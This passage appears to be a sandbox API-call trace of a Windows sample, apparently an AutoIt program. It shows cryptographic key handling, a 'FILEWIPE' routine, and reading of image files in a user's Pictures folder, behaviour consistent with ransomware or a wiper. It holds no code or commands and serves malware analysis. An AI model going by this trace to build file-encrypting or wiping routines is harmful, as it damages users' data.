dwFlags=0x0, pbData=0xe8f43aec20*, pdwDataLen=0xe8f3dfdf68*=0x11948, dwBufLen=0x11950 | out: pbData=0xe8f43aec20*, pdwDataLen=0xe8f3dfdf68*=0x11950) returned 1 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.571] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.571] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.571] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.571] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.576] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.577] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.577] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.577] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.577] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.577] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.578] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.578] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.578] CryptReleaseContext (hProv=0xe8f4199930, dwFlags=0x0) returned 1 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.578] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.580] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.581] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 1 [0028.584] TranslateMessage (lpMsg=0xe8f3dff160) returned 0 [0028.584] DispatchMessageW (lpMsg=0xe8f3dff160) returned 0x0 [0028.584] Shell_NotifyIconW (dwMessage=0x1, lpData=0xe8f3dfe790) returned 1 [0028.584] KillTimer (hWnd=0x3002c, uIDEvent=0x1) returned 1 [0028.584] SetTimer (hWnd=0x3002c, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0028.584] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.584] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0028.584] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.585] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\ra1rifpb2\\vexyoj31q5uyzq\\wtpvk7ks\\9xwefqxl.gif")) returned 0x20 [0028.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.585] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\RA1RifPB2\\VeXyoj31q5uYZq\\WTPvK7Ks\\9XwefqXl.gif", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a310 [0028.585] FindClose (in: hFindFile=0xe8f406a310 | out: hFindFile=0xe8f406a310) returned 1 [0028.585] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.585] CharLowerBuffW (in: lpsz="byte[72008]", cchLength=0xb | out: lpsz="byte[72008]") returned 0xb [0028.586] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.586] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0028.587] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.587] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0028.587] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0028.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.587] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064660, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0028.587] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0028.588] FreeLibrary (hLibModule=0x7ffe2a8b0000) returned 1 [0028.588] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.588] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.588] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.589] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0028.589] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.589] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.589] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.590] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.591] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.591] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.591] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.591] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.592] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.592] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.592] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0028.592] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.592] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=9373) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0028.593] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x249d, lpOverlapped=0x0) returned 1 [0028.593] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x249d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.593] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=9373) returned 1 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.593] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0028.593] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0028.593] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0028.593] 